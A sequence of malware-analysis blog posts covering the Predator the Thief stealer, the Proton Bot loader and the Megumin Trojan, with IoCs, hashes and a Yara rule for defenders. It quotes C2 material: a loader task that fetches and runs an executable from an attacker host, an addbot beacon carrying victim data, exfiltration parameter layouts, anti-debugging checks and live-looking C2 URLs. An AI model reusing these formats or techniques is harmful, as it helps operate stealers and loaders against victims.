It’s easily understandable that the config is split by the “#” and each data and could be summarized like this

  1. The stealer config
  2. The grabber config
  3. The network config
  4. The loader config
  5. The dynamic modular config (i.e Clipper)

I have represented each of them into an array with the meaning of each of the parameters (when it was possible).

Predator config

Args Meaning
Field 1 Webcam screenshot
Field 2 Anti VM
Field 3 Skype
Field 4 Steam
Field 5 Desktop screenshot
Field 6 Anti-CIS
Field 7 Self Destroy
Field 8 Telegram
Field 9 Windows Cookie
Field 10 Max size for files grabbed
Field 11 Powershell script (in base64)

Grabber config

[]#[GRABBER]#[]#[]#[]

Args Meaning
Field 1 %PATH% using “|” as a delimiter
Field 2 Files to grab
Field 3 Max sized for each file grabbed
Field 4 Whitelist
Field 5 Recursive search (0 – off | 1 – on)

Network info

[]#[]#[NETWORK]#[]#[]

Args Meaning
Field 1 City
Field 2 Country
Field 3 GPS Coordinate
Field 4 Time Zone
Field 5 Postal Code

Loader config

[]#[]#[]#[LOADER]#[]

Format

[[URL;3;2;;;;1;amazon.com;0;0;1;0;0;5]]

Meaning

  1. Loader URL
  2. Loader Type
  3. Architecture
  4. Targeted Countries (“,” as a delimiter)
  5. Blacklisted Countries (“,” as a delimiter)
  6. Arguments on startup
  7. Injected process OR Where it’s saved and executed
  8. Pushing loader if the specific domain(s) is(are) seen in the stolen data
  9. Pushing loader if wallets are presents
  10. Persistence
  11. Executing in admin mode
  12. Random file generated
  13. Repeating execution
  14. ???

Loader type (argument 2)

Value Meaning
1 RunPE
2 CreateProcess
3 ShellExecute
4 LoadPE
5 LoadLibrary

Architecture (argument 3)

Value Meaning
1 x32 / x64
2 x32 only
3 x64 only

If it’s RunPE (argument 7)

Value Meaning
1 Attrib.exe
2 Cmd.exe
3 Audiodg.exe

If it’s CreateProcess / ShellExecuteA / LoadLibrary (argument 7)

Value Meaning
1 %PROGRAMDATA%
2 %TEMP%
3 %APPDATA%

The second step – Sending stolen data

Format

/api/gate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X&p8=X&p9=X&p10=X

Goal

  1. Sending stolen data
  2. Also victim telemetry

Meaning

Args Field
p1 Passwords
p2 Cookies
p3 Credit Cards
p4 Forms
p5 Steam
p6 Wallets
p7 Telegram
p8 ???
p9 ???
p10 OS Version (encrypted + encoded)*

This is an example of crafted request performed by Predator the thief

request_beacon

Third step – Modular tasks (optional)

/api/Clipper.get

Give the dynamic clipper config

/api/Clipper.post

Give the predator clipper payload

Server side

The C&C is nowadays way different than the beginning, it has been reworked with some fancy designed and being able to do some stuff:

  1. Modulable C&C
  2. Classic fancy index with statistics
  3. Possibility to configure your panel itself
  4. Dynamic grabber configuration
  5. Telegram notifications
  6. Backups
  7. Tags for specific domains

Index

The predator panel changed a lot between the v2 and v3. This is currently a fancy theme one, and you can easily spot the whole statistics at first glance. the thing to notice is that the panel is fully in Russian (and I don’t know at that time if there is an English one).

Predator_Panel_Index

Menu on the left is divide like this (but I’m not really sure about the correct translation)

Меню (Menu)
Статистика (Stats)

  • Логов (Logs)
  • По странам (Country stats)
  • Лоадера (Loader Stats)

Логи (Logs)

  • Обычная

Модули (Modules)

  • Загрузить модуль (Download/Upload Module)

Настройки (Settings)

  • Настройки сайта (Site settings)
  • Телеграм бот (Telegram Bot)
  • Конфиг (Config)

Граббер (Grabber)
Лоадер (Loader)
Domain Detect
Backup
Поиск (Search)
Конвертация (Converter => Netscape Json converter)

Statistics / Landscape

region

Predator Config

In term of configuring predator, the choices are pretty wild:

  • The actor is able to tweak its panel, by modifying some details, like the title and detail that made me laugh is you can choose a dark theme.

config_part1

  • There is also another form, the payload config is configured by just ticking options. When done, this will update the request coming from check.get

conf

  • As usual, there is also a telegram bot feature

telegram_bot

Creating Tags for domains seen

Small details which were also mentioned in Vidar, but if the actor wants specific attention for bots that have data coming from specific domains, it will create a tag that will help him to filter easily which of them is probably worth to dig into.

domain

Loader config

The loader configuration is by far really interesting in my point of view and even it has been explained totally for its functionalities, I considered it pretty complete and user-friendly for the Threat Actor that is using it.

loader

IoCs

Hashes for this analysis

p_pckd.exe – 21ebdc3a58f3d346247b2893d41c80126edabb060759af846273f9c9d0c92a9a
p_upkd.exe – 6e27a2b223ef076d952aaa7c69725c831997898bebcd2d99654f4a1aa3358619
p_clipper.exe – 01ef26b464faf08081fceeeb2cdff7a66ffdbd31072fe47b4eb43c219da287e8

C&C

  • cadvexmail19mn.world

Other predator hashes

  • 9110e59b6c7ced21e194d37bb4fc14b2
  • 51e1924ac4c3f87553e9e9c712348ac8
  • fe6125adb3cc69aa8c97ab31a0e7f5f8
  • 02484e00e248da80c897e2261e65d275
  • a86f18fa2d67415ac2d576e1cd5ccad8
  • 3861a092245655330f0f1ffec75aca67
  • ed3893c96decc3aa798be93192413d28

Conclusion

Infostealer is not considered as harmful as recent highly mediatize ransomware attacks, but they are enough effective to perform severe damage and they should not be underrated, furthermore, with the use of cryptocurrencies that are more and more common, or something totally normal nowadays, the lack of security hygiene on this subject is awfully insane. that I am not surprised at all to see so much money stolen, so they will be still really active, it’s always interesting to keep an eye on this malware family (and also on clippers), whenever there is a new wallet software or trading cryptocurrency software on the list, you know easily what are the possible trends (if you have a lack of knowledge in that area).

Nowadays, it’s easy to see fresh activities in the wild for this info stealer, it could be dropped by important malware campaigns where notorious malware like ISFB Gozi is also used. It’s unnecessary (on my side) to speculate about what will be next move with Predator, I have clearly no idea and not interested in that kind of stuff. The thing is the malware scene nowadays is evolving really fast, threat actor teams are moving/switching easily and it could take only hours for new updates and rework of malware by just modifying a piece of code with something already developed on some GitHub repository, or copying code from another malware. Also, the price of the malware has been adjusted, or the support communication is moved to something else.

Due to this,  I am pretty sure at that time, this current in-depth analysis could be already outdated by some modifications. it’s always a risk to take and on my side, I am only interested in the malware itself, the main ideas/facts of the major version are explained and it’s plenty sufficient. There is, of course, some topics that I haven’t talk like nowadays predator is now being to work as a classic executable file or a DLL, but it was developed some times ago and this subject is now a bit popular. Also, another point that I didn’t find any explanation, is that seeing some decrypting process for strings that leads to some encryption algorithm related to Tor.

This in-depth analysis is also focused on showing that even simple tricks are an efficient way to slow down analysis and it is a good exercise to practice your skills if you want to improve yourself into malware analysis. Also, reverse engineering is not as hard as people could think when the fundamental concepts are assimilated, It’s just time, practice and motivation.


On my side, I am, as usual, typically irregular into releasing stuff due to some stuff (again…). By the way, updating projects are still one of my main focus, I still have some things that I would love to finish which are not necessarily into malware analysis, it’s cool to change topics sometimes.

kob

#HappyHunting

Haruko Malware Tracker – 1 Year Anniversary Update

By: fumko
27 August 2019 at 06:36

Hi folks,

It’s been one year that the tracker (https://tracker.fumik0.com) is now active and over this past months, I understood that maintaining this solo project was definitely not an easy task. But, right now, Haruko is step by step a growing place that provides a start for OSINT stuff, learning Reverse malware analysis or helping some blue team people when they have to analyze some samples.

If I could summarize this malware tracker in one year:

  1. 2600+ Samples
  2. A learning tab with dozen of exercises added
  3. A malware tab with 40+ notes for quick tips with some malware implemented
  4. An Unlimited API

… and this everything is free.

It’s pretty obvious that some companies are grabbing some data from my project to resell them after without any credits, or changing the name of the sample by adding tags for other commercial bullshit nonsense to prove they are the first on it, That’s all part of the game, that’s life.

At first, this tracker was created due, that a lot of people can even afford to have tools or services, for being able just to search, download, analyzed samples and improve their skills. This is a good start among other Free services to start your OSINT and learning some stuff. If this tracker is helping students, teachers to provide courses, helping Junior Analyst or just curious, that’s the most important thing.

New section – Wallet

Since some years right now, cryptocurrencies are now part of the cybercrime landscape, with more and more trends on it. So, For having an idea, which of them are used/abused by threat actors, it could be a good thing to centralized them.

wallet_update

API

/api/get-wallets
/api/wallet/value

Why the idea of this branch?

  1. Plug the API into the step of the transaction, for a better security approach
  2. If a wallet is switched by a clipper, the API request is a way to check if, in the DB, this one is already known for some malicious activities and could be blocked easily.

New field – Domain

For OSINT research, the field “domain” has been added

domain

On the website

domain_update

Example in JSON format

 
   "first_seen":"2018-08-05",
   "first_seen_details":"1533469173",
   "hash": 
      "md5":"ca92b2a06320fa138989ead470e6b8f5",
      "sha1":"feb71e950f43eac5037def7513f7c4e5eb3d76cc",
      "sha256":"af2c63561aa10a1e444471706a5ea35f951795dff4bb1fc735fdf05c8f30b998"
   },
   "hash_seen":1,
   "id":"5b66e1f5143e9a34ec8a3752",
   "sample": 
      "name":"jardata.exe",
      "size":"1102336"
   },
   "server": 
      "AS":"AS16509",
      "country":"us",
      "domain":"bitbucket.org",
      "ip":"52.216.84.40",
      "url":"bitbucket.org/kent9876/test/downloads/jardata.exe"
   }
}

Updates on API

I have made some little tweaks about the API possibilities, there is now some new ones available

/api/ip/value
/api/domain/value
/api/as/value
/api/country/value
/api/md5/value
/api/sha256/value

What next?

I have some other things that I want to release before the end of this year (unrelated to this tracker), but not sure if I will have enough time to complete everything, but yes another content & ideas are coming.

If you want to participate in this project, contact me.

Fumi o/

Overview of Proton Bot, another loader in the wild!

By: fumko
24 May 2019 at 12:27

Loaders nowadays are part of the malware landscape and it is common to see on sandbox logs results with “loader” tagged on. Specialized loader malware like Smoke or Hancitor/Chanitor are facing more and more with new alternatives like Godzilla loader, stealers, miners and plenty other kinds of malware with this developed feature as an option. This is easily catchable and already explained in earlier articles that I have made.

Since a few months, another dedicated loader malware appears from multiple sources with the name of “Proton Bot” and on my side, first results were coming from a v0.30 version. For this article, the overview will focus on the latest one, the v1.

Sold 50$ (with C&C panel) and developed in C++, its cheaper than Smoke (usually seen with an average of 200$/300$) and could explain that some actors/customers are making some changes and trying new products to see if it’s worth to continue with it. The developer behind (glad0ff), is not as his first malware, he is also behind Acrux & Decrux.

[Disclamer: This article is not a deep in-depth analysis]

Analyzed sample

Something that I am finally glad by reversing this malware is that I’m not in pain for unpacking a VM protected sample. By far this is the “only one” that I’ve analyzed from this developer this is not using Themida, VMprotect or Enigma Protector.

So seeing finally a clean PE is some kind of heaven.

Behavior

When the malware is launched, it’s retrieving the full path of the executed module by calling GetModuleFilename, this returned value is the key for Proton Bot to verify if this, is a first-time interaction on the victim machine or in contrary an already setup and configured bot. The path is compared with a corresponding name & repository hardcoded into the code that are obviously obfuscated and encrypted.

This call is an alternative to GetCommandLine on this case.

ComparePath

On this screenshot above, EDI contains the value of the payload executed at the current time and EAX, the final location. At that point with a lack of samples in my possession, I cannot confirm this path is unique for all Proton Bot v1 or multiple fields could be a possibility, this will be resolved when more samples will be available for analysis…

Next, no matter the scenario, the loader is forcing the persistence with a scheduled task trick. Multiple obfuscated blocs are following a scheme to generating the request until it’s finally achieved and executed with a simple ShellExecuteA call.

Tasks

With a persistence finally integrated, now the comparison between values that I showed on registers will diverge into two directions :

If paths are different

  1. Making an HTTP Request on “http://iplogger.org/1i237a&#8221; for grabbing the Bot IP
  2. Creating a folder & copying the payload with an unusual way that I will explain later.
  3. Executing proton bot again in the correct folder with CreateProcessA
  4. Exiting the current module

if paths are identical

  1. two threads are created for specific purposes
    1. one for the loader
    2. the other for the clipper

      Threads

  2. At that point, all interactions between the bot and the C&C will always be starting with this format :
/page.php?id=%GUID%

%GUID% is, in fact, the Machine GUID, so on a real scenario, this could be in an example this value “fdff340f-c526-4b55-b1d1-60732104b942”.

Summary

  • Mutex
dsks102d8h911s29
  • Loader Path
%APPDATA%/NvidiaAdapter
  • Loader Folder

ProtonBotFolder

  • Schedule Task

Schtasks

  • Process

TaskProcess

A unique way to perform data interaction

This loader has an odd and unorthodox way to manipulate the data access and storage by using the Windows KTM library. This is way more different than most of the malware that is usually using easier ways for performing tasks like creating a folder or a file by the help of the FileAPI module.

The idea here, it is permitting a way to perform actions on data with the guarantee that there is not even a single error during the operation. For this level of reliability and integrity, the Kernel Transaction Manager (KTM) comes into play with the help of the Transaction NTFS (TxF).

For those who aren’t familiar with this, there is an example here :

Transaction

  1. CreateTransaction is called for starting the transaction process
  2. The requested task is now called
  3. If everything is good, the Transaction is finalized with a commit (CommitTransaction) and confirming the operation is a success
  4. If a single thing failed (even 1 among 10000 tasks), the transaction is rolled back with RollbackTransaction

In the end, this is the task list used by ProtonBot are:

This different way to interact with the Operating System is a nice way to escape some API monitoring or avoiding triggers from sandboxes & specialized software. It’s a matter time now to hotfix and adjusts this behavior for having better results.

The API used has been also used for another technique with analysis of the banking malware Osiris by @hasherezade

Anti-Analysis

There are three main things exploited here:

  • Stack String
  • Xor encryption
  • Xor key adjusted with a NOT operand

By guessing right here, with the utilization of stack strings, the main ideas are just to create some obfuscation into the code, generating a huge amount of blocks during disassembling/debugging to slow down the analysis. This is somewhat, the same kind of behavior that Predator the thief is abusing above v3 version.

Obfuscation

The screenshot as above is an example among others in this malware about techniques presented and there is nothing new to explain in depth right here, these have been mentioned multiple times and I would say with humor that C++ itself is some kind of Anti-Analysis, that is enough to take some aspirin.

Loader Architecture

The loader is divided into 5 main sections :

  1. Performing C&C request for adding the Bot or asking a task.
  2. Receiving results from C&C
  3. Analyzing OpCode and executing to the corresponding task
  4. Sending a request to the C&C to indicate that the task has been accomplished
  5. Repeat the process [GOTO 1]

C&C requests

Former loader request

Path base

/page.php

Required arguments

Argument Meaning API Call / Miscellaneous
id Bot ID RegQueryValueExA – MachineGUID
os Operating System RegQueryValueExA – ProductName
pv Account Privilege Hardcoded string – “Admin”
a Antivirus Hardcoded string – “Not Supported”
cp CPU Cpuid (Very similar code)
gp GPU EnumDisplayDevicesA
ip IP GetModuleFileName (Yup, it’s weird)
name Username RegQueryValueExA – RegisteredOwner
ver Loader version Hardcoded string – “1.0 Release”
lr ??? Hardcoded string – “Coming Soon”

Additional fields when a task is completed

Argument Meaning API Call / Miscellaneous
op OpCode Integer
td Task ID Integer

Task format

The task format is really simple and is presented as a simple structure like this.

Task Name;Task ID;Opcode;Value

Tasks OpCodes

When receiving the task, the OpCode is an integer value that permits to reach the specified task. At that time I have count 12 possible features behind the OpCode, some of them are almost identical and just a small tweak permits to differentiate them.

OpCode Feature
1 Loader
2 Self-Destruct
3 Self-Renewal
4 Execute Batch script
5 Execute VB script
6 Execute HTML code
7 Execute Powershell script
8 Download & Save new wallpaper
9 ???
10 ???
11 ???
12 (Supposed) DDoS

For those who want to see how the loader part looks like on a disassembler, it’s quite pleasant (sarcastic)

Loader

the joy of C++

Loader main task

The loader task is set to the OpCode 1. in real scenario this could remain at this one :

newtask;112;1;http://187.ip-54-36-162.eu/uploads/me0zam1czo.exe

This is simplest but accurate to do the task

  1. Setup the downloaded directory on %TEMP% with GetTempPathA
  2. Remove footprints from cache DeleteUrlCacheEntryA
  3. Download the payload – URLDownloadToFileA
  4. Set Attributes to the file by using transactions

    LoaderTransaction

  5. Execute the Payload – ShellExecuteA

Other features

Clipper

Clipper fundamentals are always the same and at that point now, I’m mostly interested in how the developer decided to organize this task. On this case, this is simplest but enough to performs accurately some stuff.

The first main thing to report about it, it that the wallets and respective regular expressions for detecting them are not hardcoded into the source code and needs to perform an HTTP request only once on the C&C for setting-up this :

/page.php?id=%GUID%&clip=get

The response is a consolidated list of a homemade structure that contains the configuration decided by the attacker. The format is represented like this:

[
  id,             # ID on C&C
  name,           # ID Name (i.e: Bitcoin)
  regex,          # Regular Expression for catching the Wallet
  attackerWallet  # Switching victim wallet with this one
]

At first, I thought, there is a request to the C&C when the clipper triggered a matched regular expression, but it’s not the case here.

On this case, the attacker has decided to target some wallets:

  • Bitcoin
  • Dash
  • Litecoin
  • Zcash
  • Ethereum
  • DogeCoin

if you want an in-depth analysis of a clipper task, I recommend you to check my other articles that mentioned in details this (Megumin & Qulab).

DDos

Proton has an implemented layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port using WinSocks

Ddos

Executing scripts

The loader is also configured to launch scripts, this technique is usually spotted and shared by researchers on Twitter with a bunch of raw Pastebin links downloaded and adjusted to be able to work.

  1. Deobfuscating the selected format (.bat on this case)

    obfuscated_format

  2. Download the script on %TEMP%
  3. Change type of the downloaded script
  4. Execute the script with ShellExecuteA

Available formats are .bat, .vbs, .ps1, .html

Wallpaper

There is a possibility to change the wallpaper of bot, by sending the OpCode 8 with an indicated following image to download. The scenario remains the same from the loader main task, with the exception of a different API call at the end

  1. Setup the downloaded directory on %TEMP% with GetTempPathA
  2. Remove footprints from cache DeleteUrlCacheEntryA
  3. Download the image – URLDownloadToFileA
  4. Change the wallpaper with SystemParametersInfosA

On this case the structure will be like this :

BOOL SystemParametersInfoA ( 
      UINT uiAction  -> 0x0014 (SPI_SETDESKWALLPAPER)
      UINT uiParam   -> 0
      PVOID pvParam  -> %ImagePath%
      UINT fWinIni   -> 1
);

I can’t understand clearly the utility on my side but surely has been developed for a reason. Maybe in the future, I will have the explanation or if you have an idea, let me share your thought about it 🙂

Example in the wild

A few days ago, a ProtonBot C&C (187.ip-54-36-162.eu) was quite noisy to spread malware with a list of compatibilized 5000 bots. It’s enough to suggest that it is used by some business already started with this one.

Tracker

Notable malware hosted and/or pushed by this Proton Bot

  • Qulab
  • ProtonBot 🙂
  • CoinMiners
  • C# RATs

There is also another thing to notice, is that the domain itself was also hosting other payloads not linked to the loader directly and one sample was also spotted on another domain & loader service (Prostoloader). It’s common nowadays to see threat actors paying multiple services, to spread their payloads for maximizing profits.

MultipleLoaders

All of them are accessible on the malware tracker.

[*] Yellow means duplicate hashes in the database.

IoC

Proton Bot

  • 187.ip-54-36-162.eu/cmdd.exe
  • 9af4eaa0142de8951b232b790f6b8a824103ec68de703b3616c3789d70a5616f

Payloads from Proton Bot C2

Urls

  • 187.ip-54-36-162.eu/uploads/0et5opyrs1.exe
  • 187.ip-54-36-162.eu/uploads/878gzwvyd6.exe
  • 187.ip-54-36-162.eu/uploads/8yxt7fd01z.exe
  • 187.ip-54-36-162.eu/uploads/9xj0yw51k5.exe
  • 187.ip-54-36-162.eu/uploads/lc9rsy6kjj.exe
  • 187.ip-54-36-162.eu/uploads/m3gc4bkhag.exe
  • 187.ip-54-36-162.eu/uploads/me0zam1czo.exe
  • 187.ip-54-36-162.eu/uploads/Project1.exe
  • 187.ip-54-36-162.eu/uploads/qisny26ct9.exe
  • 187.ip-54-36-162.eu/uploads/r5qixa9mab.exe
  • 187.ip-54-36-162.eu/uploads/rov08vxcqg.exe
  • 187.ip-54-36-162.eu/uploads/ud1lhw2cof.exe
  • 187.ip-54-36-162.eu/uploads/v6z98xkf8w.exe
  • 187.ip-54-36-162.eu/uploads/vww6bixc3p.exe
  • 187.ip-54-36-162.eu/uploads/w1qpe0tkat.exe

Hashes

  • 349c036cbe5b965dd6ec94ab2c31a3572ec031eba5ea9b52de3d229abc8cf0d1
  • 42c25d523e4402f7c188222faba134c5eea255e666ecf904559be399a9a9830e
  • 5de740006b3f3afc907161930a17c25eb7620df54cff55f8d1ade97f1e4cb8f9
  • 6a51154c6b38f5d1d5dd729d0060fa4fe0d37f2999cb3c4830d45d5ac70b4491
  • 77a35c9de663771eb2aef97eb8ddc3275fa206b5fd9256acd2ade643d8afabab
  • 7d2ccf66e80c45f4a17ef4ac0355f5b40f1d8c2d24cb57a930e3dd5d35bf52b0
  • aeab96a01e02519b5fac0bc3e9e2b1fb3a00314f33518d8c962473938d48c01a
  • ba2b781272f88634ba72262d32ac1b6f953cb14ccc37dc3bfb48dcef76389814
  • bb68cd1d7a71744d95b0bee1b371f959b84fa25d2139493dc15650f46b62336c
  • c2a3d13c9cba5e953ac83c6c3fe6fd74018d395be0311493fdd28f3bab2616d9
  • cbb8e8624c945751736f63fa1118032c47ec4b99a6dd03453db880a0ffd1893f
  • cd5bffc6c2b84329dbf1d20787b920e5adcf766e98cea16f2d87cd45933be856
  • d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
  • d3f3a3b4e8df7f3e910b5855087f9c280986f27f4fdf54bf8b7c777dffab5ebf
  • e1d8a09c66496e5b520950a9bd5d3a238c33c2de8089703084fcf4896c4149f0

Domains

  • 187.ip-54-36-162.eu

PDB

  • E:\PROTON\Release\build.pdb

Wallets

  • 3HAQSB4X385HTyYeAPe3BZK9yJsddmDx6A
  • XbQXtXndTXZkDfb7KD6TcHB59uGCitNSLz
  • LTwSJ4zE56vZhhFcYvpzmWZRSQBE7oMSUQ
  • t1bChFvRuKvwxFDkkm6r4xiASBiBBZ24L6h
  • 1Da45bJx1kLL6G6Pud2uRu1RDCRAX3ZmAN
  • 0xf7dd0fc161361363d79a3a450a2844f2a70907c6
  • D917yfzSoe7j2es8L3iDd3sRRxRtv7NWk8

Threat Actor

  • Glad0ff (Main)
  • ProtonSellet (Seller)

Yara

rule ProtonBot : ProtonBot {
meta:
description = “Detecting ProtonBot v1”
author = “Fumik0_”
date = “2019-05-24”

strings:
$mz = {4D 5A}

$s1 = “proton bot” wide ascii
$s2 = “Build.pdb” wide ascii
$s3 = “ktmw32.dll” wide ascii
$s4 = “json.hpp” wide ascii

condition:
$mz at 0 and (all of ($s*))
}

Conclusion

Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. ProtonBot is not a sophisticated malware but it’s doing its job with extra modules for probably being more attractive. Let’s see with the time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future.

On my side, it’s time to chill a little.

chill

Special Thanks – S!ri & Snemes

Let’s nuke Megumin Trojan

By: fumko
3 May 2019 at 11:05

When you are a big fan of the Konosuba franchise, you are a bit curious when you spot a malware called “Megumin Trojan” (Written in C++) on some selling forums and into some results of sandbox submissions. Before some speculation about when this malware has appeared, this one is not recent and there are some elements that prove it was present on the market since the beginning of 2018.

Since the last days, there is an increased activity related to a new version that was probably launched not so long ago (a v2), and community started to talk about it, but a lot of them has misinterpretation with Vidar due to the utilization of the same boundary beacon string. This analysis will help you to definitely clarify how to spot and understand how Megumin Trojan is working and it definitely has a specific signature, that you can’t miss it with you dig on it (for both network activities & code).

This malware is a Trojan who has a bunch of features:

  • DDoS
  • Miner
  • Clipper
  • Loader
  • Executing DOS commands on bots
  • Uploading specific files from bots to C&C

It’s time to reverse a little all of that 🙂

Anti-Analysis Techniques

The classy PEB

This malware is using one of the classiest tricks for detecting that the process is currently debugged, by checking a specific field into the Process Environment Block (PEB). For those who are unfamiliar with this, it’s a structure that contains all process information.

typedef struct _PEB { 
  BYTE Reserved1[2]; 
  BYTE BeingDebugged; // HERE
  ...< Other fields >...
  PVOID Reserved12[1]; 
  ULONG SessionId; 
} PEB, *PPEB;

For our case, the value “BeingDebugged” will be “obviously” checked. But how it looks like when reversing it? Here it’s looking like this.

megumin_peb

  • fs:[18] is where is located the Thread Environment Process (TEB)
  • ds:[eax+30] is necessary to have access into the PEB, that is part of the TEB.
  • ds[eax+2] remains to retrieve the value TEB.PEB.BeingDebugged

megumin_peb_value

This one has been used multiple times during the execution process of Megumin Trojan.

Window Title

This other trick used here is to get the title of the program and comparing it with a list of strings. For achieving it, the malware is calling GetForegroundWindow at first for the Windows of the current process and then grabbing the title with the help of GetWindowTextA.

megumin_anti_01

megumin_anti_02

The comparison with the string is done step by step, by decrypting first the XOR string and comparing it with the Window Title, and continuing the functions until every value is checked.

The completed string list :

  • OllyDbg
  • IDA
  • ImmunityDebugger
  • inDb (Remain to WinDbg)
  • LordP (Remains to LordPE)
  • ireshark  (Remains to Wireshark)
  • HTTP Analyzer

This technique here is not able to work completely because it’s checking the Windows Title of the current process used and so, some strings won’t be able to work at all. When I was reversing it, I didn’t understand at all why it was done like this, maybe something that was done fast or another unrelated explanation and we will never know.

Dynamic Process Blacklist

When the malware is fully configured, it performs an HTTP POST request called /blacklist. The answer contains a list of processes that the attacker wants to kill whenever the payload is active, the content is encoded in base64 format.

When processes are flagged as blacklisted, those are stored into variables as Process Handles, and they are checked and killed by a simple comparison. For terminating them the ZwTerminateProcess (or NtTerminateProcess if you are looking on a disassembler) API call is used and after the accomplishment of the task, the value on memory is initialized again to -1 for continuing, again and again, to maintain that these processes will never be able to be active whenever the malware is up.

megumin_blacklist_kill

By default, all values are set to -1 (0xFFFFFFFF)

Network interactions list

Megumin is quite noisy, in term of interactions between bots and the C&C, and the amount of API request is more than usual compared to the other malwares that I have  analyzed. So to make as much as possible simple and understandable, I classified them into three categories.

General commands

/suicide Killing request
/config Malware config
/msgbox Fake message prompt window
/isClipper is Clipper activated
/isUSB Is set up to spread itself on removable drives
/blacklist Process blacklist
/wallets Wallet config for the clipper part
/selfDel Removing the payload of the original PE

Bot commands

/addbot?hwid= Add a new bot to the C&C (*)
/task?hwid= Ask for a task
/completed?hwid= Tell the C&C that task has been done
/gate?hwid= Gate for uploading/stealing specific files from bot to C&C
/reconnecttime Amount of time for next request between bot and C&C

(*) Only when the User-Agent is strictly configured as “Megumin/2.0

Miner commands

/cpu CPU Miner configuration
/gpuAMD GPU AMD Miner Configuration
/gpuNVIDIA GPU NVIDIA Miner Configuration

As a reminder, all response from the server are encoded in base64 with the only exception of the /config one, which is in clear.

Curiosity: This malware is also using the same boundary beacon as Vidar and some other malware.

That “messy” setup

This trojan is quite curious about how it’s deploying itself and the first time I was trying to understand the mess, I was like, seriously what the heck is wrong with the logic of this malware. After that, I thought it was just the only thing weird with megumin, but no. To complexify the setup, interactions with the C&C are different between different stages.

For explaining everything, I decided to split it into multiple steps, to slowly understand the chronological order of it.

Step 1

  • In the first request, the malware is downloading a payload named “reserv.exe”. if this file is not empty it means the current payload is not the main build of the malware. reserv.exe is downloaded and saved into a specific folder hidden in %PROGRAMDATA% as “{MACHINE_GUID}” (for example {656a1cdc-0ae0-40d0-a8bb-fdbd603c3b13}),this file at the end is renamed as “update.exe”.
  • Then two or three requests are performed
    • /suicide
    • /msgbox
    • /selfDel (optional)
  • A scheduled task is created with this specific pattern for the persistence, the name of the payload will be “update.exe” and another one on the registry.
    • “Scheduled Updater – {*MACHINE_GUID*}”
  • Then the payload is killed and removed

Reminder: If the malware was not fast enough to download reserv.exe for whatever reasons, it is named by a random windows process name, and will continue the process over and over until it will grab reserv.exe

Curiosity: The way this malware is creating a folder into PROGRAMDATA is strictly the same way as Arkei, BaldrRarog & Supreme++ (Rarog fork).

Megumin

megumin_path

Arkei

megumin_arkei

Rarog

megumin_rarog

Step 2

  • reserv.exe is again downloaded, and considering the file is empty, so at that time, the correct build for communicating with the C&C.
  • Those requests are performed
    • /suicide
    • /msgBox
    • /config

The config is the only request was the server is not encoding it in base64 format, there are 4 options possible.

Option 1 USB task (Spreading the build on removable drives)
Option 2 Clipper
Option 3 ???
Option 4 ???
  • A scheduled task is created with this specific pattern for the persistence and the name of the payload is at that time a random known legitimate windows process (also same thing on the registry).
    • “Scheduled Updater – {*MACHINE_GUID*}”
  • Then the payload is killed and removed

If this file is empty, it’s considered that it reached its final destination and its final C&C, so seeing two Megumin C&C on the same domain could be explainable by this (and It was the case on my side).

Step 3

  • reserv.exe is always checked for checking if there is a new build
  • Now the behavior on the network flows is totally new. The bot is now way more talkative and is going to be fully set up and registered to the C&C.
    • /suicide
    • /config
    • /addbot?hwid=…&….. # Registration
    • /blacklist
    • /wallets
    • /task?hwid=… # Performs a task
    • … a lot of possible tasks (explained below)
    • /completed?hwid=… # Alerting that the task is done
    • /reconnecttime

For the addbot part, the registration is requiring specific fields that will be all encoded in base64 format.

  • Machine GUID
  • Platform
  • Windows version
  • CPU Name
  • GPU Name
  • Antivirus
  • Filename (name of the megumin payload)
  • Username

example of request (Any.Run)

http://90551.prohoster.biz/megumin/addbot?hwid=OTAwNTljMzctMTMyMC00MWE0LWI1OGQtMmI3NWE5ODUwZDJm&bit=eDMy&win=V2luZG93cyA3IFByb2Zlc3Npb25hbA==&cpu=SW50ZWwoUikgQ29yZShUTSkgaTUtNjQwMCBDUFUgQCAyLjcwR0h6AAAAAAAAAAAA&gpu=U3RhbmRhcmQgVkdBIEdyYXBoaWNzIEFkYXB0ZXI=&av=VW5rbm93bg==&filename=Y3Nyc3MuZXhl&username=YWRtaW4=

Step 4

  • reserv.exe is always checked for checking if there is a new build
  • If the bot is run after the registration, it will be possible to have this pattern of request
    • /suicide
    • /config
    • /task?hwid=… # Performs task
    • … a lot of possible tasks (explained below)
    • /completed?hwid=… # Alerting that the task is done
    • /reconnecttime

Fake messages

As shown above, the malware has also a feature to prompt a fake window and this could be used for making “some realistic scenario” of a typical fake software, crack or other crapware, lure the user during the execution that the software has been installed or there is an error during the false installation or execution. It’s really common to see nowadays fake prompt window for missing runtime DLL, or fake Fortnite hack or whatever Free Bitcoin trap generator, this kind of lure will always work in some kind of people, even more with kids.

For configuring the feature, the bot is sending a specific HTTP POST Request named “/msgbox” and After decoding the base64 response from the server the response is split into multiple variables :

  • An integer value that will represent the Icon of the Window
  • A second int value that will represent the buttons that will be used
  • The caption (Title)
  • The text that will be printed on the prompt window

megumin_msgbox

Corresponding case input codes with the configuration of the prompt window are classified below:

uType – Uint Code – Icons – cases

Case Code Value Meaning
1 0x00000020L Question-mark message box
2 0x00000030L Information message box
3 0x00000040L Warning message box

uType – Uint Code – Buttons – cases

Case Code Value Meaning
0 0x00000002L Abort, Retry & Ignore buttons
1 0x00000006L Cancer, Try Again, Continue buttons
2 0x00004000L Help button
3 0x00000000L OK button
4 0x00000001L OK & Cancel buttons
5 0x00000005L Retry & Cancel buttons
6 0x00000004L Yes & No buttons
7 0x00000003L Yes, No & Cancel buttons

Clipper

Before that the malware is executing the main module, all the regexes that will be used for catching the whished data are stored dynamically into memory.

megumin_clipper_regex

Then when the malware is fully installed if the clipping feature is activated by the config request, another one called “/wallet” is performed. This command gives to the bot the list of all wallet configured to be clipped. the content is base64 encoded.

At this point,  the classy infinite loop like Qulab is performed and will remain the same until the program is killed or crashed.

  1. The content of the clipboard is stored into a variable.
  2. Step by step, all regexes are checking if it matches with the clipboard.
  3. If one regex triggers something, the content on the clipboard is switched by the one that the attacker wants and some data are sent to the C&C.
